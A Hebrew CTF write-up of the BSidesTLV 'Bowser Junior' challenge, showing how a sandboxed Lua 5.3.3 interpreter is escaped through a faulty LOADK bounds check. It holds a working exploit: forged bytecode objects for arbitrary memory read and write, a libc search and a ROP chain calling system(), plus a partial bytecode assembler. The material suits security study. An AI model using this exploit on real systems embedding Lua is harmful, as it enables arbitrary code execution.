Bowser Junior
- קטגוריה: Reverse Engineering
- 1500 נקודות
- נפתר על ידי קבוצת JCTF
תיאור
פתרון
המשימה עוסקת בשפה בשם Lua שהיא שפת סקריפט. אנחנו מקבלים כתובת ופורט, ומצורף קובץ להורדה בשם bowser.tar.gz
.
בהתחברות לשרת מקבלים את המסך הבא:
> nc bowserjunior.challenges.bsidestlv.com 4444
Lua 5.3.3 Copyright (C) 1337-1994
>
Lua היא שפת סקריפט קלה הניתנת להטמעה בתוכנות אחרות בקלות.
ניתן לראות שפקודות פשוטות מתבצעות בהצלחה, למשל:
Lua 5.3.3 Copyright (C) 1337-1994
> a=1+1
> a
2
>
קובץ הארכיון bowser.tar.gz מכיל קובץ Dockerfile יחד עם מספר קבצים נוספים:
./bowser/
./bowser/Dockerfile
./bowser/files/
./bowser/files/build.sh
./bowser/files/blacklist.txt
./bowser/files/lua-5.3.3.tar.gz
./bowser/files/meh.patch
./bowser/files/lvm.c
./bowser/files/lua.patch
./bowser/files/xinetd.conf
בחינה של ה-Dockerfile מגלה שהוא מבוסס על Ubuntu:16.04. הוא מבצע מספר התקנות של clang, מריץ קובץ בשם build.sh, מעתיק קובץ flag ל/flag (שלא נמצא, כמובן, כחלק מהקבצים המצורפים) ומריץ את xinetd לפי ה-xinetd.conf המצורף:
FROM ubuntu:16.04
RUN apt-get -y update && \
apt-get -y install wget build-essential xinetd
RUN echo "deb http://apt.llvm.org/xenial/ llvm-toolchain-xenial main" >> /etc/apt/sources.list && \
echo "deb-src http://apt.llvm.org/xenial/ llvm-toolchain-xenial main" >> /etc/apt/sources.list && \
echo "deb http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main" >> /etc/apt/sources.list && \
echo "deb-src http://apt.llvm.org/xenial/ llvm-toolchain-xenial-3.9 main" >> /etc/apt/sources.list && \
wget -O - http://apt.llvm.org/llvm-snapshot.gpg.key|apt-key add - && \
apt-get -y update && \
apt-get -y install clang-3.9
RUN groupadd -g 1000 lua && useradd -g lua -m -u 1000 lua -s /bin/bash
ADD files/ /tmp/files
RUN mv /tmp/files/flag /flag && mv /tmp/files/xinetd.conf /etc/xinetd.d/repl
RUN cd /tmp/files && ./build.sh && mv lua /home/lua/lua && rm -rf /tmp/files
USER lua
CMD xinetd -d -dontfork
xinetd.conf מאזין לפורט 4444 (אותו הפורט שראינו בתיאור האתגר) ומריץ Lua.
service bowser
{
socket_type = stream
protocol = tcp
port = 4444
type = UNLISTED
wait = no
user = lua
server = /home/lua/lua
}
כפי שראינו, הדגל נמצא ב /flag.
הניסיון הראשון הוא כמובן לנסות לפתוח את הקובץ:
> print(io.open("/flag","r"))
stdin:1: attempt to index a nil value (global 'io')
stack traceback:
stdin:1: in main chunk
[C]: in ?
>
נראה ש-io לא נמצא מאיזושהי סיבה. ניסיונות אחרים עם פונקציות של os או debug מראים שגם הן מבוטלות. זה נראה כמו תרגיל Sandbox escaping . נצלול פנימה...
נפתח את הקובץ build.sh:
#!/bin/bash
set -e
LUA=lua-5.3.3
tar xfv $LUA.tar.gz
CC=clang-3.9
CFLAGS='-fuse-ld=gold -O1 -flto -fsanitize=cfi -fvisibility=hidden -fsanitize-blacklist=../blacklist.txt'
LDFLAGS='-fuse-ld=gold -flto'
pushd $LUA
patch -p1 < ../lua.patch
mv ../lvm.c src/lvm.c
make
cp src/lua ../
popd
רואים חילוץ (unzip) של קוד המקור של Lua ואת רשימת ההגדרות של המהדר - כולל CFI (Control Flow Integrity) שמוגדר לפעול לפי "כללים נוקשים" אך עם רשימה שחורה של פונקציות שמוחרגות מההגנה:
fun:__libc_start_main
fun:cgt_init
fun:getcpu_init
src:ldso/*
src:crt/*
src:src/ldso/*
הסקריפט גם מפעיל טלאי הנקרא lua.patch:
diff --git a/Makefile b/Makefile
index c795dd7..0691816 100644
--- a/Makefile
+++ b/Makefile
@@ -4,7 +4,7 @@
# == CHANGE THE SETTINGS BELOW TO SUIT YOUR ENVIRONMENT =======================
# Your platform. See PLATS for possible values.
-PLAT= none
+PLAT= generic
# Where to install. The installation starts in the src and doc directories,
# so take care if INSTALL_TOP is not an absolute path. See the local target.
diff --git a/src/Makefile b/src/Makefile
index d71c75c..7368f7b 100644
--- a/src/Makefile
+++ b/src/Makefile
@@ -6,21 +6,21 @@
# Your platform. See PLATS for possible values.
PLAT= none
-CC= gcc -std=gnu99
-CFLAGS= -O2 -Wall -Wextra -DLUA_COMPAT_5_2 $(SYSCFLAGS) $(MYCFLAGS)
+CC= clang-3.9 -std=gnu99
+CFLAGS= -O2 -Wall -Wextra $(SYSCFLAGS) $(MYCFLAGS)
LDFLAGS= $(SYSLDFLAGS) $(MYLDFLAGS)
LIBS= -lm $(SYSLIBS) $(MYLIBS)
-AR= ar rcu
-RANLIB= ranlib
+AR= llvm-ar-3.9 rcu
+RANLIB= llvm-ranlib-3.9
RM= rm -f
SYSCFLAGS=
SYSLDFLAGS=
SYSLIBS=
-MYCFLAGS=
-MYLDFLAGS=
+MYCFLAGS= -flto -fvisibility=hidden -fsanitize=cfi -fstack-protector -fPIE -DLUA_MAXINPUT=0x100000
+MYLDFLAGS= -flto -pie -Wl,-z,relro -Wl,-z,now
MYLIBS=
MYOBJS=
diff --git a/src/lbaselib.c b/src/lbaselib.c
index d481c4e..5f925a4 100644
--- a/src/lbaselib.c
+++ b/src/lbaselib.c
@@ -284,6 +284,7 @@ static int load_aux (lua_State *L, int status, int envidx) {
}
+#if 0 /* avoid compiler warnings about unused functions */
static int luaB_loadfile (lua_State *L) {
const char *fname = luaL_optstring(L, 1, NULL);
const char *mode = luaL_optstring(L, 2, NULL);
@@ -291,6 +292,7 @@ static int luaB_loadfile (lua_State *L) {
int status = luaL_loadfilex(L, fname, mode);
return load_aux(L, status, env);
}
+#endif
/*
@@ -353,6 +355,7 @@ static int luaB_load (lua_State *L) {
/* }====================================================== */
+#if 0 /* avoid compiler warnings about unused functions */
static int dofilecont (lua_State *L, int d1, lua_KContext d2) {
(void)d1; (void)d2; /* only to match 'lua_Kfunction' prototype */
return lua_gettop(L) - 1;
@@ -367,6 +370,7 @@ static int luaB_dofile (lua_State *L) {
lua_callk(L, 0, LUA_MULTRET, 0, dofilecont);
return dofilecont(L, 0, 0);
}
+#endif
static int luaB_assert (lua_State *L) {
@@ -453,11 +457,11 @@ static int luaB_tostring (lua_State *L) {
static const luaL_Reg base_funcs[] = {
{"assert", luaB_assert},
{"collectgarbage", luaB_collectgarbage},
- {"dofile", luaB_dofile},
+ //{"dofile", luaB_dofile},
{"error", luaB_error},
{"getmetatable", luaB_getmetatable},
{"ipairs", luaB_ipairs},
- {"loadfile", luaB_loadfile},
+ //{"loadfile", luaB_loadfile},
{"load", luaB_load},
#if defined(LUA_COMPAT_LOADSTRING)
{"loadstring", luaB_load},
diff --git a/src/linit.c b/src/linit.c
index 8ce94cc..a3373a0 100644
--- a/src/linit.c
+++ b/src/linit.c
@@ -41,15 +41,15 @@
*/
static const luaL_Reg loadedlibs[] = {
{"_G", luaopen_base},
- {LUA_LOADLIBNAME, luaopen_package},
+ //{LUA_LOADLIBNAME, luaopen_package},
{LUA_COLIBNAME, luaopen_coroutine},
{LUA_TABLIBNAME, luaopen_table},
- {LUA_IOLIBNAME, luaopen_io},
- {LUA_OSLIBNAME, luaopen_os},
+ //{LUA_IOLIBNAME, luaopen_io},
+ //{LUA_OSLIBNAME, luaopen_os},
{LUA_STRLIBNAME, luaopen_string},
{LUA_MATHLIBNAME, luaopen_math},
{LUA_UTF8LIBNAME, luaopen_utf8},
- {LUA_DBLIBNAME, luaopen_debug},
+ //{LUA_DBLIBNAME, luaopen_debug},
#if defined(LUA_COMPAT_BITLIB)
{LUA_BITLIBNAME, luaopen_bit32},
#endif
diff --git a/src/lua.c b/src/lua.c
index 545d23d..de2d82c 100644
--- a/src/lua.c
+++ b/src/lua.c
@@ -13,6 +13,7 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
+#include <unistd.h>
#include "lua.h"
@@ -591,6 +592,7 @@ static int pmain (lua_State *L) {
int main (int argc, char **argv) {
+ alarm(60);
int status, result;
lua_State *L = luaL_newstate(); /* create state */
if (L == NULL) {
בקובץ מעלה רואים מחיקה של יכולות של Lua (dofile, loadfile, package, io, os, debug), מה שמסביר את כשלון הניסיון הראשון שלנו להגיע לדגל. כמו כן, התווסף טיימר לסגירת התוכנה תוך 60 שניות. עוד פעולה שקיימת בקובץ הבנייה היא החלפת הקובץ המקורי בקובץ lvm.c אחר. נבצע השוואה בין הקובץ המקורי לקובץ שלנו:
diff --git "a/C:\\bowser\\files\\lvm (2).c" "b/C:\\bowser\\files\\lvm.c"
index 84ade6b..f9abf0a 100644
--- "a/C:\\bowser\\files\\lvm (2).c"
+++ "b/C:\\bowser\\files\\lvm.c"
@@ -15,6 +15,7 @@
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
+#include <assert.h>
#include "lua.h"
@@ -781,7 +782,11 @@ void luaV_finishOp (lua_State *L) {
if (!luaV_fastset(L,t,k,slot,luaH_get,v)) \
Protect(luaV_finishset(L,t,k,v,slot)); }
-
+#define bailout(arg) \
+ if (xxb < 0 || xxb > cl->p->maxstacksize) { \
+ printf("[Sorry] xxb = %d maxstacksize %d\n", xxb, cl->p->maxstacksize); \
+ exit(0); \
+ }
void luaV_execute (lua_State *L) {
CallInfo *ci = L->ci;
@@ -805,14 +810,24 @@ void luaV_execute (lua_State *L) {
vmbreak;
}
vmcase(OP_LOADK) {
- TValue *rb = k + GETARG_Bx(i);
+ int xxb = GETARG_Bx(i);
+ bailout(xxb)
+ TValue *rb = k + xxb;
setobj2s(L, ra, rb);
vmbreak;
}
vmcase(OP_LOADKX) {
TValue *rb;
- lua_assert(GET_OPCODE(*ci->u.l.savedpc) == OP_EXTRAARG);
- rb = k + GETARG_Ax(*ci->u.l.savedpc++);
+ int xxb = 0;
+
+ if ((GET_OPCODE(*ci->u.l.savedpc) != OP_EXTRAARG)) {
+ printf("[Sorry] savedpc != OP_EXTRAARG\n");
+ exit(0);
+ }
+
+ xxb = GETARG_Ax(*ci->u.l.savedpc++);
+ bailout(xxb)
+ rb = k + xxb;
setobj2s(L, ra, rb);
vmbreak;
}
מתוך ההשוואה, רואים הוספה של בדיקות תקינות ויציאה מהתוכנה בהפרתם, בפקודות OP_LOADK ו-OP_LOADKX.
עד כאן מדובר רק בהקדמה למשימה.
דבר ראשון, נרצה להריץ את השרת במחשב מקומי עם יכולת debug. בשביל זה, נבצע מספר שינויים ב-Dockerfile:
- נוסיף netcat ו-gdbserver
- נמחק את העתקת הדגל שלא נמצא
`
console RUN apt-get -y install netcat && \ apt-get -y install gdbserver
#RUN mv /tmp/files/flag /flag && mv /tmp/files/xinetd.conf /etc/xinetd.d/repl RUN mv /tmp/files/xinetd.conf /etc/xinetd.d/repl
כדי להריץ את הdocker- כך שנוכל לדבג, נשתמש בפקודה הבאה:
```console
docker run --rm -p 4444:4444 –p 5555:5555 -it --cap-add=SYS_PTRACE --security-opt seccomp=unconfined bowser /bin/bash
בחיפוש אחר חולשות ידועות ב- Luaמצאנו תרגיל דומה שהיה ב-33c3 ctfעם פתרון של saelo. ננסה להבין את החולשות הקיימות, ואיך לתקוף את המכונה.
Lua מספקת פונקצית load שנותנת למשתמש את היכולת לטעון קוד Lua. החלק המעניין הוא שהיא מאפשרת גם לטעון Lua bytecode ובאופן לא מפתיע (הדבר אפילו מוזכר בתיעוד) לא מתבצעות בדיקת תקינות על הקוד הנטען:
"Lua does not check the consistency of binary chunks. Maliciously crafted binary chunks can crash the interpreter."
אם אפשר להביא לקריסה של האינטרפרטר, כנראה שאפשר גם להריץ קוד. Lua VM הוא יחסית פשוט, התומך ב-46 פקודות (opcodes) בלבד. ה-Interpreter מנהל VM מבוסס רגיסטרים. בשל כך, חלק גדול מה-opcodes משתמש באינדקס לרגיסטרים. הדרך להשתמש בקבועים היא גם על ידי אינדקס. נתבונן בפקודה LOADK. משתמשים בה כדי לטעון ערך לטבלת הקבועים של הפונקציה, כאשר k מסמל את תחילת הטבלה.
vmcase(OP_LOADK) {
- TValue *rb = k + GETARG_Bx(i);
+ int xxb = GETARG_Bx(i);
+ bailout(xxb)
+ TValue *rb = k + xxb;
setobj2s(L, ra, rb);
vmbreak;
}
הפקודה LOADK טוענת את ערך הקבוע Bx לרגיסטר R(A), לדוגמה:
f=load('local a,b,c,d = 3,"foo",3,"foo"')
פקודה זו תייצר את הקוד הבא:
0+ params, 4 slots, 1 upvalue, 4 locals, 2 constants, 0 functions
1 [1] LOADK 0 1 ; 3
2 [1] LOADK 1 2 ; "foo"
3 [1] LOADK 2 1 ; 3
4 [1] LOADK 3 2 ; "foo"
5 [1] RETURN 0 1
constants (2) for 000001DC21780B50:
1 3
2 "foo"
locals (4) for 000001DC21780B50:
0 a 5 6
1 b 5 6
2 c 5 6
3 d 5 6
ארבע פעמים LOADK אחד לכל משתנה, אבל הערך של הקבועים לא מוכפל והוא אינדקס בטבלת הקבועים. המימוש המקורי של LOADK (מה שמסומן ב- ולא ב+) לא מבצע אף בדיקה לגבי הערך שמקבלים מהפרמטר GETARG_Bx(i). נתעלם כרגע מהבדיקה שהוסיפו בתרגיל שלנו. המשמעות היא שאפשר להשתמש בפקודה זו כדי להחדיר אובייקטים באופן יזום לטבלת הרגיסטרים.
איך הייצוג של אובייקט בזיכרון ב Lua?
/*
** Common Header for all collectable objects (in macro form, to be
** included in other objects)
*/
#define CommonHeader GCObject *next; lu_byte tt; lu_byte marked
typedef struct TString {
CommonHeader;
lu_byte extra; /* reserved words for short strings; "has hash" for longs */
lu_byte shrlen; /* length for short strings */
unsigned int hash;
union {
size_t lnglen; /* length for long strings */
struct TString *hnext; /* linked list for hash table */
} u;
} TString;
typedef struct Table {
CommonHeader;
lu_byte flags; /* 1<<p means tagmethod(p) is not present */
lu_byte lsizenode; /* log2 of size of 'node' array */
unsigned int sizearray; /* size of 'array' array */
TValue *array; /* array part */
Node *node;
Node *lastfree; /* any free position is before this position */
struct Table *metatable;
GCObject *gclist;
} Table;
כפי שניתן לראות, כל אובייקט מכיל מצביע לאובייקט הבא, בייט בשם tt, עוד בייט בשם marked ומספר נתונים הייחודיים לאובייקט.
החלקים החשובים לנו הם: tt – מייצג את סוג האובייקט יחד עם מספר תכונות, כפי שניתן לראות בקוד הבא:
#define LUA_TNIL 0
#define LUA_TBOOLEAN 1
#define LUA_TLIGHTUSERDATA 2
#define LUA_TNUMBER 3
#define LUA_TSTRING 4
#define LUA_TTABLE 5
#define LUA_TFUNCTION 6
#define LUA_TUSERDATA 7
#define LUA_TTHREAD 8
/*
** tags for Tagged Values have the following use of bits:
** bits 0-3: actual tag (a LUA_T* value)
** bits 4-5: variant bits
** bit 6: whether value is collectable
*/
הביטים 0-3 מייצגים את סוג האובייקט. ביטים 4-5 הינם מיוחדים לאובייקטים מסוימים, לדוגמא string:
/* Variant tags for strings */
#define LUA_TSHRSTR (LUA_TSTRING | (0 << 4)) /* short strings */
#define LUA_TLNGSTR (LUA_TSTRING | (1 << 4)) /* long strings */
ביט 6 מייצג אובייקט collectable (הביט הזה חשוב אחר כך לפתרון Bowser Senior) הרעיון עכשיו הוא לייצר string בגודל מוצהר מקסימלי אבל בלי data אחריו, כדי שנוכל לקרוא נתונים שרירותית מתחילת ה-string ועד סופו. בגלל ש-string הוא אובייקט immutable הוא לא שימושי גם לכתיבה. לכן נייצר אובייקט של טבלה (דומה לרשימה ב-Python) שהמצביע ל-array מצביע לאובייקט אחד מהרגיסטרים שיש לנו יכולת לשנות.
זאת התאוריה, כעת נראה איך עושים זאת.
נייצר Lua bytecodeשמכיל מספר רב של קבועים עם מבנה של טבלאות ומחרוזות, ובחלקים בהם נצטרך לעדכן כתובות בזמן ריצה, נשאיר להםplace holders.
ASM = [
('LOADK', 0, 104),
('LOADK', 1, 105),
('LOADK', 2, 106),
('RETURN', 0, 0)
]
CONSTANTS = []
content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x45) * 5)
for i in range(100):
CONSTANTS.append(content)
chunk = build_chunk(ASM, MAX_STACKSIZE, CONSTANTS)
כפי שניתן לראות, אנחנו לוקחים את הקבועים 104, 105, 106 ומציבים אותם במשתנים המקומיים 0, 1, 2.
כעת אנחנו מייצרים אובייקטים פיקטיביים: מחרוזת (fake_string_data) בגודל מקסימלי ומבנה של טבלה (fake_table_data) שהמצביע לערכים שלה הוא המצביע למערך של memview:
local memview = {1,2,3,4,5}
local fake_string_data = string.pack('<LbbbbIT',
0, -- next
0x14, -- tt
0, -- marked
0, -- extra
2, -- shrlen
0, -- hash
0x7fffffffffffffff) -- lnglen
local fake_table_data = string.pack('<LbbbbILLLLL',
0, -- next
0x45, -- tt
0, -- marked
0, -- flags
0, -- lsizenode
0x10, -- sizearray
addrof(memview) + 0x10, -- array
0, -- node
0, -- lastfree
0, -- metatable
0) -- gclist
כותבים את הפקודה שנרצה להריץ, מייצרים טבלה בזיכרון ומחברים הכל לערך אחד:
-- Command to execute via system() later on
local command = "cat /flag\x00"
local fill = {}
for i=1,100 do
fill[i] = {i=i}
end
data = "ABABABABABABABAB" .. fake_string_data .. "CDCDCDCDCDCDCDCD" .. fake_table_data .. "EFEFEFEFEFEFEFEF" .. command
מחשבים את הכתובות של המבנים בזמן ריצה:
local table_addr = addrof(fill[#fill])
print("[*] Known table @ " .. hex(table_addr))
local data_addr = table_addr + 136
local fake_string_addr = data_addr + 0x10
local fake_table_addr = fake_string_addr + 0x10 + #fake_string_data
command_addr = fake_table_addr + 0x10 + #fake_table_data
print("[*] Data @ " .. hex(data_addr))
print("[*] Fake string @ " .. hex(fake_string_addr))
print("[*] Fake table @ " .. hex(fake_table_addr))
מחליפים ב-Lua bytecode את ה-place holders בכתובות אמיתיות:
chunkbytes = chunkbytes:gsub('AAAAAAAA', function() return string.pack('<L', fake_string_addr) end)
chunkbytes = chunkbytes:gsub('BBBBBBBB', function() return string.pack('<L', fake_table_addr) end)
טוענים את ה-bytecode:
local chunk = load(chunkbytes)
ומריצים:
local fake_string,fake_table, num = chunk()
כעת מקבלים את fake_string ו-fake_table כפי שרצינו:
print("[+] Fake objects created")
print(" Fake string: " .. fake_string:sub(1,4) .. "... (length: " .. hex(#fake_string) .. ")")
print(" Fake table: " .. hex(addrof(fake_table)))
נייצר class של גישה לזיכרון באמצעות שימוש באובייקטים הללו. בשביל פרימטיב הקריאה נשתמש בפונקציה string:sub שמעתיקה תת-מחרוזת לפי מיקום, ובשביל פרמיטיב הכתיבה נעדכן את הערך של fake_table[1] אל הכתובת שנרצה לכתוב אליה, מה שידרוס את המצביע של memview למיקום הזה, וכשנכתוב ל-memview[1] הכתיבה תתבצע בפועל בכתובת שרצינו.
local memory = {}
function memory.can_read(addr)
return addr - (fake_table_addr + 22 + 1) >= 0
end
function memory.read(addr, size)
local relative_addr = addr - (fake_string_addr + 22 + 1)
if relative_addr < 0 then
print("[-] Cannot read from " .. hex(addr))
error()
end
return fake_string:sub(relative_addr, relative_addr + size - 1)
end
function memory.write(addr, val)
fake_table[1] = addr
memview[1] = val
end
נחזור כעת לבדיקה שהוסיפו לפקודת ה-load:
#define bailout(arg) \
if (xxb < 0 || xxb > cl->p->maxstacksize) { \
printf("[Sorry] xxb = %d maxstacksize %d\n", xxb, cl->p->maxstacksize); \
exit(0); \
}
vmcase(OP_LOADK) {
int xxb = GETARG_Bx(i);
bailout(xxb)
TValue *rb = k + xxb;
setobj2s(L, ra, rb);
vmbreak;
}
המאקרו bailout מוסיף שתי בדיקות:
- xxb (האינדקס של הקבוע הנטען) אינו שלילי
- הוא קטן מ-maxstacksize. אם אחד מהתנאים לא מתקיים, התוכנה יוצאת.
בהסתכלות מדוקדקת יותר, ניתן למצוא טעויות:
- bailout מקבל פרמטר בשם arg אבל לא משתמש בו, אלא משתמש ישירות ב-xxb וב-cl (לא שמיש להתקפה)
- xxb מוגדר בתור int ו-maxstacksize מוגדר בתור unsigned byte. במקרה כזה, ה-optimizer מוותר על הבדיקה ש-xxb אינו שלילי (אם נצליח לקבל ערך של xxb הגדול מ-256, התנאי השני יעבור)
- הבעיה הקריטית מכולן היא שהבדיקה xxb > cl->p->maxstacksize כלל אינה נכונה. a. maxstacksize הוא הערך של כמות הרגיסטרים הקיימים בפונקציה, ולכן קל מאוד להגדיל את הערך הזה על ידי הוספת משתנים מקומיים לפונקציה, ואין לו שום קשר לגודל טבלת הקבועים (k). b. הבדיקה הנכונה הייתה צריכה להיות xxb > cl->p->sizek. מכאן שיש לנו דרך להתחמק מה-bailout ויש לנו יכולת קריאה וכתיבה, מה שנותר הוא לכתוב את ה-exploit.
ראשית, עלינו למצוא דרך להתמודד עם ה-.CFI Lua משתמש ב-setjmp, ב-exceptions וב-yield ב-coroutines (סוג של thread). פונקציית setjmp טוענת מגוון רגיסטרים וביניהם RIP, ולכן אם נוכל לשנות את RIP ולאפשר להריץ קוד משלנו, נוכל גם לדלג על בדיקת CFI.
נייצר coroutine:
coro_fn = function()
נקרא את ה-jumpbuf (פרמטר ל setjump):
local coro_addr = addrof(coro)
print("[*] Now executing coroutine. Associated state structure @ " .. hex(coro_addr))
local state_struct = memory.read(coro_addr, 208)
local longjmp_buffer_addr = string.unpack('<L', string.sub(state_struct, 89, 97))
local a = memory.read(longjmp_buffer_addr, 0x200)
b = hexdump(a)
print(b)
נסתכל על הערכים "ידנית" ונחפש מצביע כלשהו למשהו ב-libc. ניקח את ה-offset ונחפש בזמן ריצה את הכתובת ההתחלה של libc:
local some_libc_address = string.unpack('<L', memory.read(longjmp_buffer_addr + 0xa8, 8))
print("[+] some_libc_address @ " .. hex(some_libc_address))
local libc_base = find_libc_base(some_libc_address)
print("[+] libc @ " .. hex(libc_base))
function find_libc_base(some_libc_address)
local candidate = some_libc_address & 0xfffffffffffff000
while memory.read(candidate, 4) ~= '\x7fELF' do
candidate = candidate - 0x1000
end
print ("found candidate " .. hex(candidate))
return candidate
end
נמצא ב-libc את הgadget של pop rdi; ret:
pop_rdi = libc_base + 0x21102 -- pop rdi ; ret
נמצא את פונקציית system:
system_addr = libc_base + 0x45390
את הפקודה cat /flag"" כבר יש לנו:
print("[+] command @ " .. hex(command_addr))
נשאר רק למצוא ב-stack, באזור ה-longjump, מצביע לחזרה (return):
memory.write(longjmp_buffer_addr + 0x138, pop_rdi)
memory.write(longjmp_buffer_addr + 0x148, pop_rdi)
memory.write(longjmp_buffer_addr + 0x150, command_addr)
memory.write(longjmp_buffer_addr + 0x158, system_addr)
coroutine.yield()
כעת, כשיש לנו את כל הפרטים, נחבר הכל יחד. כאן מופיע template של ההתקפה. חסר הטמפלט של ה Lua bytecode שבאמצעותו אנחנו יוצרים אובייקטים שרירותיים (בשביל פרימיטיב הקריאה והכתיבה) באמצעות loadk:
function unhexlify(str)
return str:gsub('..', function(b)
return string.char(tonumber(b, 16))
end)
end
function hex(v)
return string.format("0x%x", v)
end
function string_addr(v)
return tostring(v):sub(tostring(v):find('0x')+2)
end
function addrof(v)
return tonumber(string_addr(v),16)
end
function hexdump(buf)
local str = ''
for i=1,math.ceil(#buf/16) * 16 do
if (i-1) % 16 == 0 then
str = str .. string.format('%08X ', i-1)
end
str = str .. (i > #buf and ' ' or string.format('%02X ', buf:byte(i)))
if i % 8 == 0 then
str = str .. ' '
end
if i % 16 == 0 then
str = str .. '\n'
end
end
return str
end
test = "CHUNK"
chunkbytes = unhexlify(test)
function hax()
local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'
local binary_addr = addrof(math.abs) - 0x32E70
print("[*] Binary @ " .. hex(binary_addr))
-- This table's 'array' member will be corrupted later on
local memview = {1,2,3,4,5}
local fake_string_data = string.pack('<LbbbbIT',
0,
0x14,
0,
0,
2,
0,
0x7fffffffffffffff)
local fake_table_data = string.pack('<LbbbbILLLLL',
0,
0x45,
0,
0,
0,
0x10,
addrof(memview) + 0x10,
0,
0,
0,
0)
-- Command to execute via system() later on
local command = "cat /flag\x00"
local fill = {}
for i=1,100 do
fill[i] = {i=i}
end
-- Must be rooted to avoid garbage collection
data = "ABABABABABABABAB" .. fake_string_data .. "CDCDCDCDCDCDCDCD" .. fake_table_data .. "EFEFEFEFEFEFEFEF" .. command
local table_addr = addrof(fill[#fill])
print("[*] Known table @ " .. hex(table_addr))
local data_addr = table_addr + 136
local fake_string_addr = data_addr + 0x10
local fake_table_addr = fake_string_addr + 0x10 + #fake_string_data
command_addr = fake_table_addr + 0x10 + #fake_table_data
print("[*] Data @ " .. hex(data_addr))
print("[*] Fake string @ " .. hex(fake_string_addr))
print("[*] Fake table @ " .. hex(fake_table_addr))
chunkbytes = chunkbytes:gsub('AAAAAAAA', function() return string.pack('<L', fake_string_addr) end)
chunkbytes = chunkbytes:gsub('BBBBBBBB', function() return string.pack('<L', fake_table_addr) end)
local chunk = load(chunkbytes)
local fake_string,fake_table, num = chunk()
print("[+] Fake objects created")
print(" Fake string: " .. fake_string:sub(1,4) .. "... (length: " .. hex(#fake_string) .. ")")
print(" Fake table: " .. hex(addrof(fake_table)))
local memory = {}
function memory.can_read(addr)
return addr - (fake_table_addr + 22 + 1) >= 0
end
function memory.read(addr, size)
local relative_addr = addr - (fake_string_addr + 22 + 1)
if relative_addr < 0 then
print("[-] Cannot read from " .. hex(addr))
error()
end
return fake_string:sub(relative_addr, relative_addr + size - 1)
end
function memory.write(addr, val)
fake_table[1] = addr
memview[1] = val
end
return memory
end
function find_libc_base(some_libc_address)
local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'
local candidate = some_libc_address & 0xfffffffffffff000
while memory.read(candidate, 4) ~= '\x7fELF' do
candidate = candidate - 0x1000
end
print ("found candidate " .. hex(candidate))
return candidate
end
function pwn()
memory = hax()
coro_fn = function()
local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'
local coro_addr = addrof(coro)
print("[*] Now executing coroutine. Associated state structure @ " .. hex(coro_addr))
local state_struct = memory.read(coro_addr, 208)
local longjmp_buffer_addr = string.unpack('<L', string.sub(state_struct, 89, 97))
print("[+] longjmp buffer @ " .. hex(longjmp_buffer_addr))
local a = memory.read(longjmp_buffer_addr, 0x200)
local some_libc_address = string.unpack('<L', memory.read(longjmp_buffer_addr + 0xa8, 8))
print("[+] some_libc_address @ " .. hex(some_libc_address))
local libc_base = find_libc_base(some_libc_address)
print("[+] libc @ " .. hex(libc_base))
pop_rdi = libc_base + 0x21102 -- pop rdi ; ret
print("[+] pop_rdi @ " .. hex(pop_rdi))
system_addr = libc_base + 0x45390
print("[+] system @ " .. hex(system_addr))
print("[+] command @ " .. hex(command_addr))
memory.write(longjmp_buffer_addr + 0x148, pop_rdi)
memory.write(longjmp_buffer_addr + 0x150, command_addr)
memory.write(longjmp_buffer_addr + 0x158, system_addr)
memory.write(longjmp_buffer_addr + 0x138, pop_rdi) -- rip
print("[*] ready to go!")
coroutine.yield()
end
local a,b,c,d,e,f,g,h,i,j,k,l,m,n,o,p,q,r,s,t,u,v,w,x,y,z = 'a','a','a','a','a','a','a','a','a'
coro = coroutine.create(coro_fn)
while not memory.can_read(addrof(coro)) do
coro = coroutine.create(coro_fn)
end
print("[*] Coroutine created: " .. tostring(coro))
coroutine.resume(coro)
end
pwn()
כדי לייצר את הטמפלט Lua bytecode ניתן להשתמש ב-script הבא, שיכול "לקמפל" קוד ב-Lua, ולאחר מכן נוכל להוסיף לו את האובייקטים השרירותיים מהסקריפט הקודם:
#!/usr/bin/env python3
from struct import pack, Struct
from binascii import hexlify
import sys
LUA_TNIL = 0
LUA_TBOOLEAN = 1
LUA_TLIGHTUSERDATA = 2
LUA_TNUMBER = 3
LUA_TSTRING = 4
LUA_TTABLE = 5
LUA_TFUNCTION = 6
LUA_TUSERDATA = 7
LUA_TTHREAD = 8
LUA_TSHRSTR = LUA_TSTRING | (0 << 4)
LUA_TLNGSTR = LUA_TSTRING | (1 << 4)
LUA_TNUMFLT = LUA_TNUMBER | (0 << 4)
LUA_TNUMINT = LUA_TNUMBER | (1 << 4)
def assemble(asm):
def Op(val):
return val & 0x3f
def A(val):
assert(val < 0x100)
return val << 6
def B(val):
assert(val < 0x200)
return val << 14
def C(val):
assert(val < 0x200)
return val << 23
def Ax(val):
assert(val < 0x4000000)
return val << 6
def Bx(val):
assert(val < 0x40000)
return val << 14
def sBx(val):
return Bx(val + 2**17)
handlers = {
'MOVE' : (0, A, B),
'LOADK' : (1, A, Bx),
'LOADKX' : (2, A,),
'LOADBOOL': (3, A, B, C),
'LOADNIL' : (4, A, B),
'GETUPVAL': (5, A, B),
'GETTABUP': (6, A, B, C),
'GETTABLE': (7, A, B, C),
'SETTABUP': (8, A, B, C),
'SETUPVAL': (9, A, B),
'SETTABLE': (10, A, B, C),
'NEWTABLE': (11, A, B, C),
'SELF' : (12, A, B, C),
'ADD' : (13, A, B, C),
'SUB' : (14, A, B, C),
'MUL' : (15, A, B, C),
'MOD' : (16, A, B, C),
'POW' : (17, A, B, C),
'DIV' : (18, A, B, C),
'IDIV' : (19, A, B, C),
'BAND' : (20, A, B, C),
'BOR' : (21, A, B, C),
'BXOR' : (22, A, B, C),
'SHL' : (23, A, B, C),
'SHR' : (24, A, B, C),
'UNM' : (25, A, B),
'BNOT' : (26, A, B),
'NOT' : (27, A, B),
'LEN' : (28, A, B),
'CONCAT' : (29, A, B, C),
'JMP' : (30, A, sBx),
'EQ' : (31, A, B, C),
